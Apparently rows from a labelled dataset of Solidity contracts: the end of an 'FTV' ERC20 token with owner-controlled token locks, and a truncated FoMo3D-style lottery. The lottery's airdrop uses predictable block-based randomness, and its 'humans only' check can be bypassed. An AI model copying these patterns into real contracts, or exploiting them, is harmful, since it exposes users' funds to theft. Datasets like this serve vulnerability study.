function unpause() public onlyCEO whenPaused {
paused = false;
emit Unpaused();
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract LockToken is AccessControl {
mapping (address => uint256) private lockTokenNum;
mapping (address => uint256) private lockTokenTime;
event SetLockTokenNum(address from,uint256 num);
event SetLockTokenTime(address from,uint256 time);
event SetLockTokenInfo(address from,uint256 num,uint256 time);
function setLockTokenNum (address from,uint256 num) public whenNotPaused onlyCEO {
require(from != address(0));
lockTokenNum[from] = num;
emit SetLockTokenNum(from,num);
}
function setLockTokenTime(address from,uint256 time) public whenNotPaused onlyCEO {
require(from != address(0));
lockTokenTime[from] = time;
emit SetLockTokenTime(from,time);
}
function setLockTokenInfo(address from,uint256 num,uint256 time) public whenNotPaused onlyCEO {
require(from != address(0));
lockTokenNum[from] = num;
lockTokenTime[from] = time;
emit SetLockTokenInfo(from,num,time);
}
function setLockTokenInfoList (address[] froms,uint256[] nums, uint256[] times) public whenNotPaused onlyCEO {
for(uint256 i =0;i<froms.length ;i++ ){
require(froms[i] != address(0));
lockTokenNum[froms[i]] = nums[i];
lockTokenTime[froms[i]] = times[i];
}
}
function getLockTokenNum (address from) public view returns (uint256) {
require(from != address(0));
return lockTokenNum[from];
}
function getLockTokenTime(address from) public view returns (uint256) {
require(from != address(0));
return lockTokenTime[from];
}
function getBlockTime() public view returns(uint256){
return block.timestamp;
}
}
contract ERC20 is IERC20,LockToken{
using SafeMath for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
uint256 public _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view whenNotPaused
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 time = getLockTokenTime(msg.sender);
uint256 blockTime = block.timestamp;
require(blockTime >time);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
require(spender != address(0));
uint256 time = getLockTokenTime(msg.sender);
uint256 blockTime = block.timestamp;
require(blockTime >time);
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public whenNotPaused
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
uint256 time = getLockTokenTime(from);
uint256 blockTime = block.timestamp;
require(blockTime >time);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
contract FTV is ERC20 {
string public constant name = "fashion tv";
string public constant symbol = "FTV";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
constructor() public {
paused =false;
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 | 3,867 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xCB80bdBcc720e3525988De75822ef8D192Edd052);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 0 minutes;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
